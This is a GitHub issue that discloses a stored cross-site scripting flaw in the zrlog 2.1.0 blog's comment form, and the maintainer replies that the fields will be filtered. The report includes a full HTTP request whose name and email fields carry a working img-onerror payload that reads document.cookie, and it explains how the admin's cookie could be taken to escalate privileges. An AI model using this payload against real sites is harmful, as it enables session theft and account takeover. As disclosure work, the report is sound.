Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a stored XSS in the frontend which hacker can escalate of Privileges #42

Closed
zsdlove opened this issue Jan 8, 2019 · 1 comment

Comments

@zsdlove
Copy link

zsdlove commented Jan 8, 2019

  hello,Mr.Coder,there is a stored XSS  in ther front end which hack can escalate of Privileges.

when we access url below:
http://127.0.0.1:8080/zrlog-2.1.0/post/%E8%AE%B0%E5%BD%95
image
we can see there contains a comment modul,it does't check the user input,so when we submit the
comment form with the palyoad below,this stored xss will be happened.

payload:“>

Requested data packet:

POST /zrlog-2.1.0/post/addComment HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 170
Cache-Control: max-age=0
Origin: http://127.0.0.1:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.62 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1:8080/zrlog-2.1.0/post/%E8%AE%B0%E5%BD%95
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: csrftoken=4YqHpDZtkQJbqwTt9bcAqP6UJjUtUdCEjVY42Q2p337RkWfOoFjxK3rnH2gM75Eb; Hm_lvt_82116c626a8d504a5c0675073362ef6f=1542180522; admin-token=1#4E6D2F687756637630777677385938504D566B41556B6371754353507A4C374C784A74552F7850634C4D52576F496C352B3775616F4935434D56333650656730637646696F6A346A614679593971546B32534839486A32736468494F4D447A39326D3579717156513735453D
Connection: close

logId=3&userComment=test&web=test&userName=%22%3E%3Cimg+src%3Di+onerror%3Dalert%28document.cookie%29%3E&email=%22%3E%3Cimg+src%3Di+onerror%3Dalert%28document.cookie%29%3E

when the cross-site script successful executed,we can see the cookie of the frontend viewr's was been stolen.

image

 And more seriously,when the admin log in the backend and access the comment manage module,it will cause the cross-site script excute which submit by hacker.And after that,the cookie of the admin will be stolen,and the hacker will use the cookie to escalate of Privileges.

image

suggestions:
1、Filtered the parameter in the comment form below:
logId,userComment,web,userName,email
2、Write a global interceptor to filtered the parameter input from user,And use the entity encode to encode the parameter,to avoid the use of label such as '<' or '>'.
Hope you guy fix this flaw quickly,if you have some request,please contact me with the email below:
747289639@qq.com

@94fzb
Copy link
Owner

94fzb commented Apr 9, 2019

Thank, Next version will filter userName and email field in add comment API

@94fzb 94fzb closed this as completed Apr 15, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants